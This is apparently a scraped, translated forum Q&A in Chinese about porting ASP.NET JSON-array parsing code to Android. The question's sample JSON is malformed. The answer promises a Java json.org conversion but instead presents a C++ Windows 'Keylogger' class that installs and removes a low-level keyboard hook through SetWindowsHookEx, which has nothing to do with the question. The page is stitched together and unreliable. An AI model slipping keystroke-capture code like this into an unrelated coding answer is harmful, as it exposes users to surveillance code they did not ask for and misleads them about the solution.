在android中解析JSON数组子属性

时间:2016-03-15 20:24:37

标签: java android asp.net json

以下是提取JSON数组的ASP .net代码:

{
"Attendance": {
"FirstName": "Test1"
"InTime": "12:32:00"
"LastName": "User"
"OutTime": "12:38:11"
}
{
"FirstName": "Test2"
"InTime": "12:26:59"
"LastName": "User"
"OutTime": "12:38:19"
}

}



 JObject o = JObject.Parse(jsonString);
        JArray arr = (JArray)o.SelectToken("Attendance");

        foreach (JObject b in arr.Children<JObject>())
        {
            foreach (JProperty p in b.Properties())
            {
                string name = p.Name;
                string value = p.Value.ToString();
                //  Console.WriteLine(name + ": " + value);
                System.Diagnostics.Debug.WriteLine("" + name + ": " + value);
            }
        }

上面代码将提取其名称和值,而不是传递Name并返回我们使用JSONOBJECT执行的值。

// System.Diagnostics.Debug.WriteLine("" + name + ": " + value);
FirstName: Test1
InTime: 12:32:00
LastName: User
OutTime: 12:38:11
FirstName: Test2
InTime: 12:26:59
LastName: User
OutTime: 12:38:19

如何在Android中实现相同的功能?

1 个答案:

答案 0 :(得分:3)

json.org库用于Java,您可以使用以下代码转换为Java并准备在Android中使用。出于日志记录的目的,您应该将System.out替换为Log.d

class Keylogger {
public:
    void Hook();
    void Unhook();

private:
    HHOOK hHook;
    LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);
};

void Keylogger::Hook() {

    HINSTANCE hInstance = GetModuleHandle(NULL);

    hHook = SetWindowsHookEx(WH_KEYBOARD_LL, this->LowLevelKeyboardProc, hInstance, 0);
}

void Keylogger::Unhook() {
    UnhookWindowsHookEx(hHook);
}